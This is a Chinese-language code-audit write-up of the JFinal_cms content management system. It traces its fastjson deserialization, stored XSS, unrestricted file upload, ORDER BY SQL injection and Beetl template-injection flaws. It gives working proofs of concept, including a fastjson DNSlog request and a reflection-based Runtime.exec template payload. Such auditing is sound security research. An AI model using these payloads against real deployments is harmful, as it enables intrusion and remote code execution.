JAVA代码审计—JFinal_cms
一、环境搭建
1、源码下载
项目地址如下,可直接下载源码,也可以直接通过git直接加载到IDE中
https://github.com/jflyfox/jfinal_cms
https://gitee.com/jflyfox/jfinal_cms
2、环境部署
一般项目都会有一个部署的说明文档,比较详细,这里说几个细节:
1、项目使用jdk1.8,mysql用的是8版本。使用前需要在mysql中建立对应的数据库并导入对应的数据库文件。
2、项目使用maven部署(我这里用ecilpse)
要修改settings.xml中配置,更改maven下载的项目依赖的存放位置,并更改源,使用默认源下载速度很慢。
执行maven install后,会有一个报错提示一个插件API不兼容打包war包什么的一个错误,不影响,直接 maven build,要注意提前配置好tomcat和Mysql。
二、源码审计分析
1、架构分析
可以通过项目文档了解项目使用到的技术栈和各类依赖:
- web框架:JFinal
- 模板引擎:beetl
- 数据库:mysql
- 前端:bootstrap框架
项目中的pom.xml记录了项目需要的依赖及其版本信息等,审计源码前,可以看看项目的给类依赖是否为存在漏洞的版本,如果有可以针对某个依赖的当前版本存在的漏洞进行验证。
2、fastjson反序列化RCE
在pom.xml中可以看到fastjson使用的是1.2.62版本

这个版本存在RCE漏洞

fastjson利用细节可以参考:
https://www.cnblogs.com/tr1ple/p/12348886.html?utm_medium=referral
https://www.cnblogs.com/Raiden-xin/p/12681577.html
注意:fastjson相关API
String text = JSON.toJSONString(obj); //序列化
VO vo = JSON.parseObject("{...}", VO.class); //反序列化
VO vo = JSON.parseObject("{...}"); //反序列化
VO vo = JSON.parse(); //反序列化
可以搜索这些API找到对应的调用位置
全局搜索parseObject

发现多处调用
先来分析一下 src/main/java/com/jflyfox/api/from/ApiFrom.java这处调用

这处调用是在私有方法getParams中,传入的参数由P变量控制


搜索一下这个方法的调用关系

寻找public修饰的调用了getParams的方法,找到get方法有调用

但get仅在本类( ApiForm)中调用或利用反射的方式调用

全局搜索get调用发现 login 这个API方法有调用

寻找反射调用的地方,全局搜索 ApiForm ,发现了一处(ApiController.java中)调用了 ApiForm类对象(即其自解码文件 .class文件)

跟进getFrom调用情况,发现同类中action中调用了该方法,并且调用了ApiService类中的action方法


跟进,先校验登录状态然后再调用接口

确实是通过反射来调用API方法,查看一下项目的API文档,找到了login的接口使用方法

验证一下


确实会调用该方法,也就是说,可以以此调用到ApiFrom类的get方法
构造fastjson反序列化RCE的payload
POST /jfinal_cms/api/action/login?version=1.0.1&apiNo=1000000&time=20170314160401& HTTP/1.1
Host: 192.168.111.111
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=6B6E5982E9406B50893C648F39FC396E; Hm_lvt_1040d081eea13b44d84a4af639640d51=1696496171; Hm_lpvt_1040d081eea13b44d84a4af639640d51=1696496849
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 60
p={"@type":"java.net.Inet4Address","val":"dgm3af.dnslog.cn"}

成功

这里没有对应的利用链,不同fastjson版本可以参照 https://blog.csdn.net/qq_45449318/article/details/129202122
还有一处也可以利用fastjson反序列化RCE


这里是读取固定位置的json格式的配置文件,来完成利用的,可以利用系统后台的文件上传(后面会详细说明)来覆盖原有的json格式的配置文件
一路回朔,找到最开始调用的位置

最终找到

上传覆盖config.json文件后,访问 ueditor 接口:即可触发
config.json修改为payload内容即可:
{"@type":"java.net.Inet4Address","val":"qtxntc.dnslog.cn"}
3、多处存储型XSS
从白盒角度考虑首先从后台管理开始寻找脆弱点,因为一般的系统,后台总是比主页更加脆弱。关于admin的源码,可以定位到com.jflyfox.modules.admin包下
在其中的AdminController类中

其路由为/admin,默认页面调用了index方法,初次登陆,将会调用reader方法进行/pages/admin/login.html页面的渲染,如果是登录过了就直接跳到/admin/home
这里的reader方法也就是调用了com.jfinal.core.Controller抽象类下的render方法,使用配置的模板引擎进行渲染操作

对于该项目的模板引擎的配置可以定位到com.jflyfox.component.config.BaseConfig类中的configConstant方法


可以知道配置的是Beetl这个模板引擎进行渲染
Config类又是如何进行调用。

主要是因为这个方法是实现了JFinalConfig类的方法,而在com.jfinal.core.Config类中的configJFinal方法是存在JFinalConfig类的方法调用的(换句话说就是重写了JFinalConfig接口方法)


3.1 管理台用户邮箱存储型XSS
在用户管理后台,用户管理等页面会显示前台注册的用户的邮箱等信息,而邮箱是通过注册得到写入数据库中的,从注册写入到数据库中,在到管理台从数据库中取出这个过程中,cms仅做了前端限制,后端没有做任何的过滤导致存储型XSS。
搜索路由路径定位到注册功能位置,对应的Controller为RegistController类

未登录时注册用户会使用beelt模板引擎对template/bbs/regist/show_regist.html文件进行渲染

这里存在有一个注册表单,点击注册,会触发onclick事件,调用oper_save方法,即调用了同目录下的show_regist.js文件中的方法

这里存在多个判断条件,限制了用户名长度,限制了邮箱格式,但是这里仅仅是前端进行验证,我们可以通过抓包进行修改绕过这些验证,直接插入payload
后端也有着一定的限制,定位到RegistController#save方法中

这里没有对邮箱做严格的测试,有“@”符号就行。而用户名和密码则做了长度限制,不太好利用了。
通过抓包修改email的值,形成存储型XSS ,当admin用户,进入后台管理的时候,将会在其首页中执行js代码

(实测,在写入数据库时,将邮箱作为username字段,会限制长度)

3.2 修改用户信息储存型XSS
前台用户注册后,可以进行用户信息更改。整个更新过程没有任何过滤,插入XSS代码即可构成存储型XSS

定位到后端代码就是com.jflyfox.modules.front.controller.PersonController类中,如果想要更改数据,根据show_person.js中的逻辑,主要是调用了PersonController#save方法进行信息的更新


在save方法中,并没有对用户的输入进行限制(就是邮箱必须有@符号),直接就调用了model.update方法进行更新

跟进update方法中

与数据库建立连接后,调用Db.update进行更新

继续跟进

至此也就成功将我们的输入存入了数据库中,形成了存储型XSS,因为这里是采用预编译的方式进行update操作,所以不存在sql注入的风险
在这些有用户信息回显的地方就会触发XSS,比如评论显示昵称,首页显示用户信息,管理后台等········

注意:管理后台也存在多处存储型XSS,这里不一一列举了。
4、文件上传
在管理后台的模板管理处,由于后端没有对上传的文件做限制,导致可以上传任意文件。但cms配置了默认不解析jsp文件,所以无法getshell只能作为存储型XSS。
定位到src/main/java/com/jflyfox/modules/filemanager/FileManagerController.java

文件上传是POST方法,直接跟到那

跟进到add方法,重点关注这几个if判断

在配置文件src\main\resources\conf\filemanager.properties下可以看到文件复写和上传文件大小设置是为0的(0代表的是没有限制),默认是可以上传其他文件(upload-imagesonly=false)。

最后,创建临时文件,后面会用到。作用是先将上传的文件以临时文件的存放着,然后把复制到上传目录下,重新命名删除临时文件。
可以看到整个过程是没有做限制的,也就导致可以上传任意文件。但无法直接访问jsp文件(不解析),可以上传svg、html、pdf等文件造成存储型XSS。
5、order by导致SQL注入
order by是用以排序,因为其子句内容是在查询执行时动态确定的(动态生成排序条件)。因此如果没有做好严格的过滤就会导致SQL注入。
全局搜索ordey by,发现多处调用

以admin/advicefeedback/AdvicefeedbackController.java中AdvicefeedbackController类为例

在list方法中order by默认是desc排序,跟进到getBaseForm,看下orderBy如何获取值

继续跟进


这里控制排序方式为即orderBy值由orderColumn决定
根据AdvicefeedbackController类绑定的路由可知,list方法为管理后台意见反馈功能模块处调用

抓包,修改参数。成功注入

6、SSTI模板注入漏洞
漏洞存在的位置在管理员后台模板修改下,可以修改模板代码,插入一段恶意代码可导致远程代码执行。
修改模板点击保存页面后,首先会进入到src\main\java\com\jflyfox\modules\filemanager\FileManagerController.java然后判断请求方法,这里是POST方法,然后会判断是upload还是saveFile,如果是saveFile方法会跳转到src\main\java\com\jflyfox\modules\filemanager\FileManager.java中的saveFile方法。

跟进到saveFile方法

一直到这一步,没有做任何的过滤。也就是说,插入任意代码,加载模板后,都会执行。
下面开始构造payload
查阅官方文档,了解这款模板引擎调用Java方法和属性模式。

由于beetl模板引擎禁止了java.lang.Runtime和java.lang.Process,所以这里不能直接调用进程来达到远程代码执行的效果。这里采用Java反射机制来达到效果,当然也有其他的方法,比例写文件等。
按照上面给出简单案例方法,我们应该这样子就可以了@java.lang.Class.forName("java.lang.Runtime").getMethod("exec",String.class).invoke(newInstance(),"calc")
但是直接String.class直接写模板是找不到的,所以我们得继续构造payload,将String.class转化@java.lang.Class.forName("java.lang.String")的形式,然后payload就变成下面这样子了。@java.lang.Class.forName("java.lang.Runtime").getMethod("exec",@java.lang.Class.forName("java.lang.String")).invoke(newInstance(),"calc")
照道理上面就可以直接使用了,但是呢Runtime类没有无参构造方法,因此不能使用newInstance()方法来实例化。只能通过调用getRuntime()方法来进行实例化。所以newInstance()得替换成@java.lang.Class.forName("java.lang.Runtime").getMethod("getRuntime",null)最终payload就变成了下面这样子。
${@java.lang.Class.forName("java.lang.Runtime").getMethod("exec",@java.lang.Class.forName("java.lang.String")).invoke(@java.lang.Class.forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null),"calc")}

执行成功



被折叠的 条评论
为什么被折叠?



